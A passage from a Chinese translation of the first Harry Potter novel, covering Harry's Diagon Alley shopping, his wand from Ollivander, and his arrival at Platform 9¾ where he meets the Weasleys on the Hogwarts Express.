“除了古灵阁的妖精之外,其他任何人要这么做,都会被门吸进去,陷在门里出不来。”拉环说。 “你多长时间才来查看一次,看里边是否有人呢?” “大概十年一次吧。”拉环说,不怀好意地咧嘴一笑。 在这个超级保险的地下金库里,毫无疑问会存放着非同一般的东西。这一点哈利很肯定,于是他凑过去急于想看看,至少里边会有神奇的珠宝,可是他最初的感觉是里边什么也没有。之后,他发现地上有一个用棕色纸包着的脏兮兮的小包。海格把它捡了起来,深深地塞到外衣里边的口袋里。哈利很想知道那里边究竟是什么,但他明白问了也没用。 “走,回去上那辆该死的车吧,回去的路上别跟我说话,我最好还是把嘴闭上。”海格说。 又乘小车狂奔了一通之后,他们终于站在了吉灵阁外边阳光耀眼的街上了。哈利背着满满一口袋钱,不知道先去哪里好。他用不着去计算一英镑合多少加隆,他知道他一辈子也没有过这么多钱,甚至达力也从来没有过。 “咱们还是先去给你买制服吧。”海格用头指着摩金夫人长袍专卖店说,“哈利,我想去破釜酒吧喝上一杯提神饮料,你不介意吧?古灵阁那小推车太可恨了。” 他看上去脸色确实还不好,所以哈利独自踏进了摩金夫人的长袍店,觉得很紧张。 摩金夫人是一个矮矮胖胖的女巫,笑容可掬,穿一身紫衣。 “是要买霍格沃茨学校的制服吗,亲爱的?”不等哈利开口说话,她就说了。“我们这里多得很,说实在的,现在就有一个年轻人在里边试衣服呢。” 在店堂后边有一个面色苍白、瘦削的年轻人站在脚凳上,一个女巫正用别针别起他的黑袍。摩金夫人让哈利站到年轻人旁边的另一张脚凳上,给他套上一件长袍,用别针别出适合他的身长。 “喂,”男孩说,“也是去上霍格沃茨吗?” “是的。”哈利说。 “我爸爸在隔壁帮我买书,妈妈到街上找魔杖去了。”他说话慢慢吞吞,拖着长腔,叫人讨厌。“然后我要拖他们去看飞天扫帚,我搞不懂为什么一年级新生就不能有自己的飞天扫帚。我想,我要逼着爸爸给我买一把,然后想办法偷偷带进去。” 这使哈利立刻联想起达力。 “你有自己的飞天扫帚吗?”男孩继续说。 “没有。”哈利说。 “打过魁地奇吗?” “没有。”哈利又说,弄不清魁地奇到底是什么。 “我打过。爸爸说,要是我没有被选入我们学院的代表队,那就太丢人了。我要说,我同意这种看法。你知道你被分到哪个学院了吗?” “不知道。”哈利说,越来越觉得自己太笨了。 “当然,在没有到校之前没有人真正知道会被分到哪个学院。不过,我知道我会被分到斯莱特林,因为我们全家都是从那里毕业的——如果被分到赫奇帕奇,我想我会退学,你说呢?” 哈利嗯了一声,希望他能说点更有趣的话题。 “喂,你瞧那个人!”男孩突然朝前面的窗户点头说。海格正好站在窗口,朝哈利咧嘴笑着并指指两个大冰淇淋,说明他不能进店。 “那是海格。”哈利说,能知道一些男孩不知道的事,觉得很开心。“他在霍格沃茨工作。” “ 哦,”男孩说,“我听说过他。他是做仆人的,是吧?” “他是狩猎场的看守。”哈利说。他越来越不喜欢这个男孩了。 “对,一点不错。我听说,这个人很粗野,住在校园里的一间小木屋里,时不时地喝醉酒,玩弄些法术,结果把自己的床也烧了。” “我认为他很聪明。”哈利冷冷地说。 “是吗?”男孩略带嘲弄的意味说,“为什么他来陪你,你的父母呢?” “他们都去世了。”哈利简单地说,不想跟这个男孩谈论这件事。 “哦,对不起。”男孩说,可他的话里听不出丝毫歉意。“他们也是跟我们一类的人,是吧?” “他们是巫师,我想你大概是指这个吧。” “我确实认为他们不应该让另类入学,你说呢?他们不一样,他们从小就没有接受过我们这样的教育,不了解我们的世界。想想看,他们当中有些人在没有接到信之前,甚至没听说过霍格沃茨这个学校。我想学校应当只限于招收古老巫师家族出身的学生。对了,你姓什么?” 哈利还没来得及回答,只听摩金夫人说:“已经试好了,亲爱的。”哈利庆幸自己能找到借口不再跟那男孩聊下去,便从脚凳上跳下来。 “好,那么我们就到霍格沃茨再见了。”男孩拖长声调说。哈利在吃海格买给他的冰淇淋(巧克力加覆盆子和碎果仁冰淇 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“那是我们的一种运动。一种巫师们玩的球类运动。它像——麻瓜世界的足球——人人都喜欢玩魁地奇——骑飞天扫帚在空中打,有四个球——至于玩球的规则嘛,解释起来还真有点儿困难。” “那么斯莱特林和赫奇帕奇又是什么呢?” “那是学院名字。学校共有四个学院。都说赫奇帕奇有许多饭桶,不过——” “我想,我一定会被分到赫奇帕奇了。”哈利怏怏不乐地说。 “宁愿进赫奇帕奇,也不要进斯莱特林。”海格脸色阴沉地说,“没有一个后来变坏的男女巫师不是从斯莱特林出来的,神秘人就是其中的一个。” “伏——对不起——神秘人也在霍格沃茨上过学?” “很多很多年以前了。”海格说。 他们在一家名叫丽痕的书店里买了哈利上学要用的课本。这里书架上摆满了书,一直到天花板上,有大到像铺路石板的皮面精装书;也有邮票大小的绢面书;有的书里写满了各种奇特的符号,还有少数则是无字书。即使从来不读书的达力要是有幸能得到其中的一两本,也一定会欣喜若狂的。哈利拿起一本温迪克教授着的《诅咒与反诅咒》(用最新的复仇术捉弄你的朋友,蛊惑你的敌人:脱发、打折腿、绑舌头及其他许许多多手法),海格好不容易才把哈利从这本书前拖开。 “我想找出办法来诅咒达力。” “这主意也不坏,但你不能在麻瓜世界使用魔法,除非在很特殊的情况下。”海格说,“不过,你现在用不上那些咒语,你还需要学习很多东西,才能达到那个水平。” 海格也不让哈利买一只纯金锅(购物单上开的是锡镴锅),不过他们买了一台用来计量药品的质量很好的天平和一架可折叠的黄铜望远镜。随后他们光顾了一家药店,那里散发出一股臭鸡蛋和烂卷心菜叶的刺鼻气味。但药店却十分神奇,地上摆放着一桶桶黏煳煳的东西,顺墙摆着一罐罐药草、干草根和颜色鲜亮的各种粉末,天花板上挂着成捆的羽毛、成串的尖牙和毛爹爹的爪子。当海格向柜台后边的营业员买一份标准剂量的各种药粉时,哈利正在细看一个用独角野牛角制成的号角,每个价值二十一加隆,以及乌黑、亮闪闪的甲虫小眼珠(五纳特一勺)。 他们走出药店后,海格又核对了一遍哈利的购物单。 “就剩下你的魔杖了——哦,对了,我还没给你买一份生日礼物呢。” 哈利觉得自己脸红了。 “您不必了——” “我知道不用买。是这样,我要送你一只动物,不是蟾蜍,蟾蜍好多年前就不时兴了,人家会笑话你的。我也不喜欢猫,猫总惹我打喷嚏。我给你弄一只猫头鹰。孩子们都喜欢猫头鹰,它能替你送信,送包裹。” 二十分钟后,他们离开了黑洞洞的咿啦猫头鹰商店,离开了窸窸窣窣的拍翅声和宝石般闪光的眼睛,哈利这时手里提着一只大鸟笼,里边装着一只漂亮的雪枭,头埋在翅膀底下睡得正香。哈利忍不住结结巴巴地一再道谢,听起来像奇洛教授在说话。 “不用谢,”海格声音沙哑地说,“德思礼夫妇是不会送给你礼物的。现在就剩下奥利凡德没去了,只有奥利凡德一家卖魔杖,到那里你一定能买到一根最好的魔杖。” 魔杖——这正是哈利梦寐以求的。 最后一家商店又小又破,门上的金字招牌已经剥落,上边写着:奥利凡德:自公元前三百八十二年即制作精良魔杖。尘封的橱窗里,褪色的紫色软垫上孤零零地摆着一根魔杖。 他们进店时,店堂后边的什么地方传来了阵阵叮叮当当的铃声。店堂很小,除了一张长椅,别的什么也没有。海格坐到长椅上等候,哈利有一种奇怪的感觉,仿佛来到了一家管理严格的图书馆;他强压住脑海里刚刚产生的许许多多薪问题,开始看几乎码到天花板的几千个狭长的纸盒。不知为什么,他突然感到心里发毛。这里的尘埃和肃静似乎都使人感到暗藏着神秘的魔法。 “下午好。”一个轻柔的声音说,把哈利吓了一跳。海格也吓得不轻,因为这时突然传来一阵响亮的咔嚓咔嚓的声音,他连忙从长椅上站起来。 一个老头站在他们面前,他那对颜色很浅的大眼睛,在暗淡的店铺里像两轮闪亮的月亮。 “你好。”哈利拘谨地说。 “哦,是的,”老头说,“是的,是的,我知道我很快就会见到你,哈利·波特,这不成问题。你的眼睛跟你母亲的一模一样。当年她到这里来买走她的第一根魔杖,这简直像昨天的事。十又四分之一英寸长,柳条做的,挥起来飕飕响,是一根施魔法的好魔杖。” 奥利凡德先生走到哈利跟前,哈利希望他能眨眨眼,他那对银白色的眼睛使哈利汗毛直竖。 “你父亲就不一样了,他喜欢桃花心木魔杖。十一英寸长,柔韧,力量更强些,用于变形术是最好不过了。我说你父亲喜欢它——实际上,当然是魔杖在选择它的巫师昵。 奥利凡德先生凑得离哈利越来越近,鼻子都要贴到哈利脸上了。哈利已经看到老头混浊的眼睛里映出了自己的影子。“哦,这就是...”奥利凡德先生用苍自的长手指抚摸着哈利额上那道闪电形的伤疤。 “很对不起,这是我卖出的一根魔杖干的。”他柔声细语说,“十三英寸半长。紫杉木的。力量很强,强极了,却落到了坏人手里...要是早知道这根魔杖做成后,会做出这样的事...” 他摇摇头,接着一眼认出了海格,这使哈利松了一口气。“鲁伯!鲁伯·海格!又见到您了,真是太高兴啦...橡木的,十六英寸长,有点儿弯,对吧?” “不错,先生。”海格说。 “那可是一根好魔杖啊。可我想,他们在开除你的时候,准被他们撅折了吧?”奥利凡德先生说,突然变得严肃起来。 “啊,不错,是被他们撅折了,是的。”海格慢慢地移动着脚步说道。 “撅折的魔杖我还留着呢。”他又高兴地说。 “可你不用它了吧?”奥利凡德先生急忙问。 “哦,不用了,先生。”海格忙回答。 哈利注意到,海格在回答时紧紧抓住了那柄粉红伞。 “唔。”奥利凡德先生说着,用锐利的目光扫了他一眼。“好了,波特先生,来吧。让我看看。”他从衣袋里掏出一长条印有银色刻度的卷尺。“你用哪只胳膊使魔杖?” “哦——哦,我习惯用右手。”哈利说。 “把胳膊抬起来,好。”他为哈利量尺寸,先从肩头到指尖,之后,从腕到肘,肩到地板,膝到腋下,最后量头围。 他一边量,一边说:“每一根奥利凡德魔杖都具有超强的魔法物质,这也就是它的精髓所在,波特先生。我们用的是独角兽毛、凤凰尾羽和龙的神经。每一根奥利凡德魔杖都是独一无二的,因为没有两只完全相同的独角兽、龙或凤凰。当然,你如果用了本应属于其他巫师的魔杖,就绝不会有这样好的效果了。” 当量到两鼻孔间的距离时,哈利突然发现竟是卷尺在自动操作。奥利凡德先生正在货架问穿梭,忙着选出一些长匣子往下搬。 “好了。”他说,卷尺滑落到地上卷成一团。“那么,波特先生,试试这一根。山毛榉木和蛇神经做的。九英寸长。不错,很柔韧。你挥一下试试。” 哈利接过魔杖(心里觉得有点冒傻气),他刚挥了一下,奥利凡德先生就立刻把魔杖从他手里夺了过去。“槭木的,凤凰羽毛。七英寸长。弹性不错,试试看——” 哈利刚要试,可还没来得及举起来,魔杖就又被奥利凡德先生夺走了。“不,不——试这根,用黑檀木和独角兽毛做的。八英寸半长。弹性很强。来吧,来吧,试试这根。” 哈利试了一根又一根。他一点不明白,奥利凡德先生认为什么样的才合适。试过的魔杖都堆放在长椅上,越堆越高。但奥利凡德先生从货架上抽出的魔杖越多,他似乎显得越高兴。 “一位挑剔的顾客,嗯?不要紧,我想,这里总能找到一款最理想,最完美,最适合你的——让我想想看——哦,有了,怎么会没有呢——非凡的组合,冬青木,凤凰羽毛,十一英寸长。不错,也柔韧。” 哈利接过魔杖,感到指尖突然一热。他把魔杖高举过头,飕的一声向下一挥,划过尘土飞扬的空气,只见一道红光,魔杖头上像烟花一样金星四射,跳动的光斑投到四壁上。海格拍手喝彩,奥利凡德先生大声喊起来:“哦,好极了,哦,真的,太好了。哎呀,哎呀,哎呀..太奇妙了...真是太奇妙了...” 他把哈利的魔杖装到匣子里,用棕色纸包好,嘴里还不停地说:“奇妙...奇妙...” “对不起,”哈利说,“什么地方让您觉得奇妙?” 奥利凡德先生用苍白无色的眼睛注视着哈利。 “我卖出的每一根魔杖我都记得,波特先生。每一根魔杖我都记得。是这样,同一只凤凰的两根尾羽,一根做了这根魔杖,另一根尾羽做了另外一根魔杖。 你注定要用这根魔杖,而它的兄弟——咳,正是它的兄弟给你落下了那道伤疤。” 哈利倒抽了一口气。 “不错,十三英寸半长。紫杉木的。怎么会有这样的事,真是太奇妙了。记住,是魔杖选择巫师...我想,你会成就一番大事业的,波特先生...不管怎么说,我不能提名的那个神秘人就做了大事——尽管可怕,但还是大事。” 哈利顿感毛骨悚然。他不敢肯定自己是否喜欢这位奥利凡德先生了。他付给奥利凡德先生七个加隆买下魔杖,奥利凡德先生鞠躬把他们送出店门。 傍晚,哈利和海格踏上回对角巷的路时,太阳已快下山了。 他们穿过墙,经过已空无一人的破釜酒吧,走上大路。一路上,哈利一言不发,在地铁上他甚至没有留意他们提着大大小小、奇形怪状的包裹。他怀里还抱着一只熟睡的雪枭,这招来了不少好奇的目光。他们乘另一部自动扶梯,来到帕丁顿车站。海格拍拍哈利的肩膀,哈利这才猛地意识到他们在什么地方了。 “开车前,我们还有时间吃点儿东西。”他说。他给哈利买了一个汉堡,他们就坐在塑料椅上吃起来。哈利一直在东张西望,不管怎么说,总觉得周围的一切都很奇怪。 “你没什么吧,哈利?你一句话也不说。”海格说。 哈利不知道自己能不能讲清楚。他刚刚过了一个生平最好的生日——可是——他嚼着汉堡,一边寻思该怎么说。 “人人都觉得我很特别,”他终于说,“破釜酒吧的那些人、奇洛教授、奥利凡德先生...可我对魔法一窍不通。他们怎么能期望我成就大事呢?我有名气,可那些让我出名的事,我甚至一点儿也不记得。在伏——对不起——我是说,我父母去世的那天夜里,我根本不知道发生了什么事。” 海格隔着桌子探过身来。他那蓬乱的胡须和眉毛下边露出慈祥的微笑。 “别担心,哈利。你很快就会学会的。在霍格沃茨,人人都是从基础开始学的。你会很好的。打起精神来。我知道这对于你很难。你一直孤零零一个人,总是很难过的。不过你在霍格沃茨一定会很愉快,像我——说实话——过去和现在都很愉快。” 海格把哈利送上可以回德思礼家的火车,然后递给他一封信。 “这是你去霍格沃茨的车票。”他说,“九月一日——国王十字车站——票上都有。德思礼夫妇要是欺负你,就写封信让猫头鹰给我送来,它知道到什么地方去找我...下次再见了,哈利。” 火车驶出了车站。哈利想目送海格离去,他跪到座位上,鼻子紧贴着车窗,可一眨眼工夫,海格就不见了。 7. 从九又四分之三站台开始的旅程 哈利与德思礼一家相处的最后一个月并不愉快。说真的,达力着实被哈利吓坏了,他不敢跟哈利待在同一个房间里,佩妮姨妈和弗农姨父也不敢再把哈利关在碗柜里,也不强迫他干活儿了,也不再朝他大喊大叫——事实上,他们根本不跟他讲话。一半出于恐惧,一半由于恼怒,他们对哈利的存在视而不见。 尽管这在许多方面是一个进步,但时间一久就使人感到有些没趣。 哈利大多时间都待在他的房间里,有他新买的猫头鹰做伴。他决定管它叫海德薇,这是他从《魔法史》这本书里找到的名字。他的学校课本都很有趣。他躺在床上,一读就读到深夜,海德薇从打开的窗口尽情地飞进飞出。幸运的是佩妮姨妈不再到房间里来吸尘了,因为海德薇总是叼死耗子回来 哈利把九月一日以前每天的日期一天一天写在一张纸上,钉在墙上,每天临睡前就在第二天的日期上打一个钩。 八月的最后一天,哈利觉得最好还是跟姨父姨妈谈谈明天去国王十字车站的事,于是他下楼来到起居室,姨父姨妈正在看竞猜电视节目。他清了一下嗓子,好让他们知道他来了;达力尖叫着跑出屋去。 “哦——弗农姨父?”弗农姨父哼了一声,表示他在听。 “哦―——我明天得去国王十字车站——去霍格沃茨。”弗农姨父又哼了一声。 “请问您用车送我一下行吗?”“哼。”哈利认为这就是表示可以。 “谢谢您。”他刚要回到搂上去,弗农姨父却真的开口说话了。 “坐火车去巫师学校未免太可笑了。他们的魔毯全都破光了吗?”哈利没吭声。 “这所学校到底在什么地方?你说。”“我不知道。”哈利说,刚刚才想到这一点。他从衣袋里掏出海格给他的火车票。叶 “我应该坐十一点钟从9又3/4站台开出的火车。”他读道。他姨父姨妈瞪大了眼睛。“第几站台?”“9又3/4站台。” “别胡说八道了,”弗农姨父说,“根本没有9又3/4站台。” “我的火车票上就是这么写的。” “胡说,”弗农姨父说,“他们好多人都疯了,到处乱咋呼。你会明白的。你等着瞧吧。好了,我们送你去国王十字车站。反正我们明天要去伦敦,要不然我才不去找麻烦呢。” “您上伦敦做什么?”哈利问,希望保持友好气氛。 “带达力上医院,”弗农姨父咆哮起来,“在他上斯梅廷之前,把那条可恶的尾巴割掉。” 第二天,哈利早上五点就醒来了。他又兴奋又紧张,再也睡不着了。他从床上爬起来,穿上牛仔裤,因为他不愿穿巫师长袍进火车站——他准备上车再换。他又核对了一遍霍格沃茨列出的购物单,看需要的东西是否都买齐了,再看看海德薇是不是好好地关在笼子里,之后就在房间里踱起步来,等候德思礼夫妇起床。 两小时后,哈利沉重的大箱子终于被抬上了德思礼家的汽车,佩妮姨妈说服达力坐到哈利身边,他们就上路了。 他们十点半钟来到国王十字车站。弗农姨父把哈利的皮箱放到手推车上.帮他推进站。哈利正在琢磨弗农姨父为什么一下子变得出奇地好,弗农姨父突然面对站台停下来不走了,心怀鬼胎地咧嘴一笑。 “好了,你到了,小子。第9站台——第10站台。你的站台应该是在这两个站台之间吧,可看起来好像还没来得及修建呢,是吧?” 当然,他说得不错。在一个站台上挂着一块大大的9字塑料牌,另一个站台上挂着大大的10字塑料牌,而两者中间什么也没有。 “祝你学期顺利,”弗农姨父说着又咧嘴一笑,显得更没有好心。他没有再说什么就走开了。哈利转身眼看弗农一家开车离去。他们三个人都在哈哈大笑。哈利觉得嘴有点儿发干。他究竟该怎么办呢?因为海德薇,他已经招来许多好奇的目光。他得找人问问。 他拦住一个过路的警卫,但不敢提9又3/4站台。警卫从来没听说过霍格沃茨。当他发现哈利甚至说不清霍格沃茨具体在什么地方时,他开始生气了,认为哈利故意装傻愚弄他。哈利实在没辙了,只好问十一点发出的列车有几班。警卫说一班也没有。最后警卫迈着大步走开了,一路抱怨有些人专门浪费别人的时间。这时哈利告诫自己尽量不要惊慌失措。到达列车时刻表上方的大钟显示,再过十分钟他就该登上开往霍格沃茨的列车了,可他一点也不知道该怎么办。他身边是一只他简直提不动的大箱子,满满一口袋魔币和一只大猫头鹰,他站在站台中央,一筹莫展。 一定是海格忘记告诉他诸如敲左边第三块砖就可以到达对角巷之类的事了。他在想要不要拿出魔杖来敲第9和第10站台之间的检票口。 正在这时,一群人从他背后经过,偶尔一两句话飘进他的耳朵里。 “——当然挤满了麻瓜们——” 哈利连忙转身,只见说话的是一个矮矮胖胖的女人,正在跟四个火红头发的男孩说话。他们每人都推着像哈利那样的皮箱——他也有一只猫头鹰。 哈利的心怦怦直跳,连忙推着车紧跟着他们。他们停下来,他也跟着停在离他们不远的地方,以便能听见他们说话。 “好了,是几号站台?”孩子们的母亲问。 “9!”一个火红头发的小姑娘牵着妈妈的手,尖着嗓子大声说。“妈妈,我能去...吗?” “你还太小,金妮,现在,别说话了。珀西,你走在最前头。” 看上去年龄最大的那个男孩朝第9和第10站台中间走去。哈利目不转睛地盯着他,连眼也不敢眨,生怕漏掉了什么——但正当那孩子走到第9与第10站台交界的地方时,一大群旅客突然拥到哈利前面,等最后一只大帆布背包挪开时,那孩子竟然不见了。 “弗雷德,该你了。”胖女人说。 “我不是弗雷德,我是乔治。”孩子说,“说实在的,您说您是我们的母亲,可为什么您认不出我是乔治呢?” “对不起,乔治,亲爱的。” “开个玩笑,我是弗雷德。”这孩子说完就朝前走了。他的孪生兄弟在背后催他快点。他想必听了他的话,因为他一转眼就不见了——可他是怎么做的呢?这时第三个兄弟迈着轻快的步子朝检票口走去——他刚要走到——突然,也不见了。 没有别的办法。 “对不起。”哈利对胖女人说。 “喂,亲爱的,”她说,“头一回上霍格沃茨吧?罗恩也是新生。”她指着最后、也是她最小的儿子说。这孩子又瘦又高,显得笨手笨脚,满脸雀斑,大手、大脚、长鼻子。 “是的,”哈利说,“问题是——问题是我不知道该怎么去——”“该怎么去站台是吗?”她善解人意地说,哈利点点头。 “别担心,”她说,“你只要照直朝第9和第10站台之间的检票口走就是了。别停下来,别害怕,照直往里冲,这很重要。要是你心里紧张,你就一溜小跑。走吧。你先走,罗恩跟着你。” “哦——好吧。”哈利说。 他把小车掉过头来,眼睛拼命盯着检票口,那地方的栏杆看起来还很结实呢。 他开始向检票口走去,一路上被拥向9和lO站台的旅客推来搡去。哈利加快脚步,准备直接冲进票亭,但是他遇到了麻烦——他弯腰趴在手推车上,向前猛冲——眼看离栏杆越来越近——仅一步之遥——他已无法停步——手推车也失去了控制——他闭上眼睛准备撞上去——但什么事也没有发生…他继续朝前跑…他睁开眼睛。一辆深红色蒸汽机车停靠在挤满旅客的站台旁。列车上挂的标牌写着:霍格沃茨特快,十一时。哈利回头一看,原来检票口的地方现在竟成了一条锻铁拱道,上边写着:9又3/4站台。他成功了。 蒸汽机车的浓烟在嘁嘁喳喳的人群上空缭绕,各种花色的猫咪在人们脚下穿来穿去。在人群嗡嗡的说话声和拖拉笨重行李的嘈杂声中,猫头鹰也刺耳地鸣叫着,你呼我应。 头几节车厢已经挤满了学生,他们有的从车窗探出身来和家人说话,有的在座位上打闹。哈利在站台上推着小车朝前走,准备找一个空位子。他走过时,一个圆脸男孩说:“奶奶,我又把蟾蜍弄丢了。” “唉,纳威呀。”他听见一个老太婆叹气说。一个留着骇人长发绺的男孩被一些孩子围着。“让咱们也见识见识,阿里,快点。”那个孩子把抱着的盒子打开,里边露出一只毛茸茸的长腿,吓得周围的孩子们叽哇乱叫,直往后退。 哈利从人群中挤过去,在靠近车尾的地方找到一个空隔间。他先把海德薇放上去,然后连拖带拉地把他的皮箱朝车门口搬。他想把皮箱搬上踏板,可是一点儿也抬不起来。他试了两次,箱子都重重地砸在他脚上。 “要帮忙吗?”说话的正好是他在闯检票口时,碰到的那对火红头发孪生兄弟中的一个。 “是的,劳驾搭把手吧。”哈利气喘吁吁地说。“喂,弗雷德,快过来帮忙!” 有孪生兄弟帮忙,哈利总算把箱子推到了隔间角落里。 “多谢了。”哈利说,一边把汗湿的头发从眼前掠开。“那是什么?”孪生兄弟中的一个突然指着哈利那道闪电形伤疤说。 “哎呀,我的天哪,”孪生兄弟中的另一个说,“莫非你是——?” “...”孪生兄弟中第一个说话的说,“你是不是?”他又问哈利。 “是什么?”哈利问。 “哈利波特。”孪生兄弟异口同声地说。 “哦,他呀。”哈利说,“我是说,不错,我就是。” 兄弟俩呆呆地盯着他看,哈利觉得脸都红了。这时从开着的车门口传来一阵喊声,使哈利如释重负。“弗雷德?乔治?你们在车上吗?”“就来了,妈妈。”孪生兄弟最后看了一眼就跳下车去。哈利靠窗口坐下,半遮半掩。他能看到站台上红头发的一家人,也能听见他们在说些什么,孩子们的母亲正掏出一块手帕。“罗恩,你鼻子上有脏东西。” 最小的一个正要躲闪,却被母亲一把抓住,替他揩鼻子尖。“妈妈――放开我。”他挣脱了。“好哇,罗恩,你这个小鬼头,鼻子又碰灰啦?”孪生兄弟中的一个说。 “住嘴。”罗恩说。“珀西呢?”他们的母亲问。“他来了。” 远远看见他们的大哥大步朝这边走了过来。他已经换上了他那件飘飘摆摆的霍格沃茨黑色长袍。哈利发现他的胸前别着一个银光闪闪的字母P。“我不能待太久,妈妈,”他说,“我在前边,那里专门给级长划出了两个隔间——”“哎呀,珀西,你原来是级长呀?”孪生兄弟中的一个用非常吃惊的口吻说。 “你早该告诉我们,我一点儿都不知道呢。”“慢着,我想,我记得他说过,”孪生兄弟中的另一个说,“说过一次——”“说不定是两次——”“等一会儿——”“说了整整一个夏天呢——” “哎呀,住嘴。”级长珀西说。 “你说,珀西是怎么弄到新长袍的?”孪生兄弟中的一个问。“因为他是级长呀。”母亲怜爱地说,“好了,亲爱的,祝你学期顺利,到学校以后让猫头鹰给我带封信来。”她亲过珀西的面颊,珀西就走开了。 之后,她转身对孪生兄弟说:“现在轮到你们俩了这一年你们俩要放规矩点。如果猫头鹰给我报信,说你们——你们炸了一只马桶,或是——”“炸了一只马桶?我们从来没炸过马桶。”“这倒是好主意,多谢了,妈妈。” “这可不是闹着玩的。好好照顾罗恩。”“放心,罗恩小鬼头跟着我们不会有事。”“住嘴。”罗恩说。他的个子差不多跟孪生兄弟一般高,只是鼻尖上他妈妈擦过的地方还发红。 “嘿,妈妈,您猜怎么着?猜猜我刚才在火车上碰见谁了?”哈利连忙往后闪,免得被他们发现他在偷看。“你知道刚才在车站上,站在我们旁边的那个黑头发的男孩吗?知道他是谁吗?” “谁?” “哈利波特!”哈利听到了一个小女孩的声音。 “哎呀,妈妈,我能上车去看看他吗?求求您了,...”“你已经看到过他了,金妮。这个可怜的孩子又不是动物园里的动物,让你看来看去。他真是哈利吗,弗雷德?你怎么知道的?”“我问过他了。我看见他那道伤疤了。真的就在那地方,像一道闪电。”“可怜的孩子…难怪他孤零零一个人。我还纳闷呢。你看他问去站台怎么走的时候,多有礼貌啊。” “这些不用去管了,你想他会记得神秘人的长相吗?” 他们的母亲突然沉下脸来。 “不许你们去问他,弗雷德。不许问,你敢去问!你们是想让他在到校的第一天就想起那件事呀!” “好了,别发火嘛。” 响起一阵汽笛声。 “快!”他们的母亲说,三个孩子匆忙爬上火车。他们从车窗中探出身来,让母亲吻别。他们的小妹妹又哭起来了。 “别哭.金妮,我们会派好多好多猫头鹰去找你。” “好了,我们会送给你一个霍格沃茨的马桶圈。” “乔治!” “开个玩笑嘛,妈妈。” 火车启动了。哈利看到孩子们的母亲在招手,他们的小妹妹又哭又笑,跟着火车朝前跑,直到火车加速,她被抛在后面,还在不停地向他们招手。 哈利一直注视着母女俩,直到火车拐过弯去,看不见她们了。一栋栋房屋从车窗前闪过。哈利感到兴奋极了。他不知道前面会怎么样,但至少要比抛在后面的过去好。 隔间的推拉门开了,最小的那个火红头发的孩子走了进来。 “这里有人吗?”他指着哈利对面的座位问。“别的地方都满了。”哈利摇摇头。 孩子坐了下来。他瞟了哈利一眼,即刻把目光转向车窗外,装作没看哈利的样子。哈利见他鼻尖上还有一块脏东西。 “嘿,罗恩。” 一对孪生兄弟也来了。 “听着,我们现在要到中间车厢走走——李·乔丹弄到了一只很大的袋蜘蛛呢。” “哦。”罗恩咕哝了一声。 “哈利,”孪生兄弟中的另一个说,“我们还没向你作自我介绍吧?弗雷德和乔治·韦斯莱。这是罗恩,我们的小弟弟。一会儿见。” “再见。”哈利和罗恩说。孪生兄弟随手把隔间门拉上。 “你真是哈利波特吗?”罗恩脱口而出。 哈利点点头。 “哦,那好,我还以为弗雷德和乔治跟我开玩笑呢。”罗恩说,“那你当真——你...” 他指了指哈利的额头。 哈利掠开前额上的一绺头发,露出闪电形伤疤。罗恩瞪大了眼睛。 “这就是神秘人...” “是的,”哈利说,“可我已经不记得了。” “一点都不记得了?”罗恩急切地问。 “唔——我只记得有许多绿光,别的什么也不记得了。” “哎呀。”罗恩说。他坐在那里盯着哈利看了好一会儿,似乎突然才意识到自己在做什么,就连忙把视线转向窗外。 “你全家都是巫师吗?”哈利问,发现自己和罗恩彼此都对对方感兴趣。 “哦,是的,我想是这样。”罗恩说,“我想,我妈妈有一个远房表兄是一个会计师,不过我们从来不谈他。” “那么你一定学会许多魔法了?”这个韦斯莱家族显然就是在对角巷的那个面色苍白的男孩说过的魔法世家之一了。 “我听说你后来跟麻瓜们住在一起。”罗恩说,“他们怎么样?” “太差劲了,当然不是所有的人都这样。不过我的姨父姨妈和表哥都太差劲了。我要是有三个巫师兄弟就好了。” “五个。”罗恩说,不知为什么他显得有些不高兴。“我是我们家去霍格沃茨上学的第六个了。你可以说,我应当以他们为榜样。比尔和查理已经毕业了。比尔是男生学生会主席,查理是魁地奇球队队长。现在珀西当上了级长,弗雷德和乔治尽管调皮捣蛋,但他们的成绩是顶呱呱的。大家都觉得他们很有意思,都盼望我能跟他们一样。话说回来,如果我能做到,也没什么了不起的了,因为他们在我之前就做到了。你要是有五个哥哥,你就永远用不上新东西。我穿比尔的旧长袍,用查理的旧魔杖,还有珀西扔了不要的老鼠。” 罗恩说着,伸手从上衣内袋里掏出一只肥肥的灰老鼠,它正在睡觉。“它叫斑斑,已经毫无用处了,整天睡不醒。珀西当上了级长,我爸送给他一只猫头鹰,他们买不起——我是说,就把老鼠给我了。”罗恩的耳朵涨红了。他似乎觉得自己话太多,就又开始看着窗外。 哈利觉得买不起猫头鹰也没有什么不好,他自己一个月前不也一直是一文不名吗?他对罗恩讲了实情,说他总是穿达力的旧衣服,从来没有收到过一份像样的生日礼物。这似乎使罗恩的心情好多了。 ...在海格告诉我之前,我一点也不知道巫师或者我的父母情况,以及伏地魔的事——” 罗恩吓得喘不上气来。 “怎么了?”哈利说。 “你叫出神秘人的名字了!”罗恩说,显得又震惊,又感动。“我早就想到,所有的人当中只有你——” “说出他的名字,并不是因为我勇敢什么的。”哈利说。“而是因为我一直不知道那个名字不能说。明白我的意思吗?我相信,我有许多东西需...”他又说,听得出他最近正为此感到忧心忡忡,“我敢说,我一定会是班上最差的学生...” “不会的。有很多学生都来自麻瓜家庭,可他们也学得很快。” 在他们谈话的时候,列车已驶出伦敦。这时他们正沿着遍地牛羊的田野飞驰。他们沉默了片刻,望着田野和草场从眼前掠过。 大约十二时半左右,过道上咔嚓咔嚓传来一阵响亮的嘈杂声,一个笑容可掬、面带酒窝的女人推开隔间门问:“亲爱的,要不要买车上的什么食品?”哈利早上一点东西也没吃,于是一下子跳起来,罗恩的耳朵又涨红了,嘟哝说他带着三明治。哈利来到过道里。 在德思礼家时,他从来没有一分零用钱买糖吃,现在他口袋里装满了哗哗响的金币、银币。只要他拿得下,他要买一大堆火星棒,可惜车上没有。她只有比比多味豆、吹宝超级泡泡糖、巧克力蛙、南瓜馅饼、锅形蛋糕、甘草魔棒,还有一些哈利从未见过的稀奇古怪的食品。哈利一样不落,每种都买了一些,付给那个女售货员十一个银西可和七枚青铜纳特。 罗恩直勾勾地看着哈利把买来的食品抱进隔间,一下子都倒在空位子上。 “你饿了?” “饿坏了。”哈利咬了一大口南瓜馅饼说。 罗恩拿出一个鼓鼓囊囊的纸盒打开,里面装有四块三明治。他拿出一块,说:“她总不记得我不爱吃罐头咸牛肉。” “跟你换一块吧,”哈利拿起一个馅饼说,“来吧。” 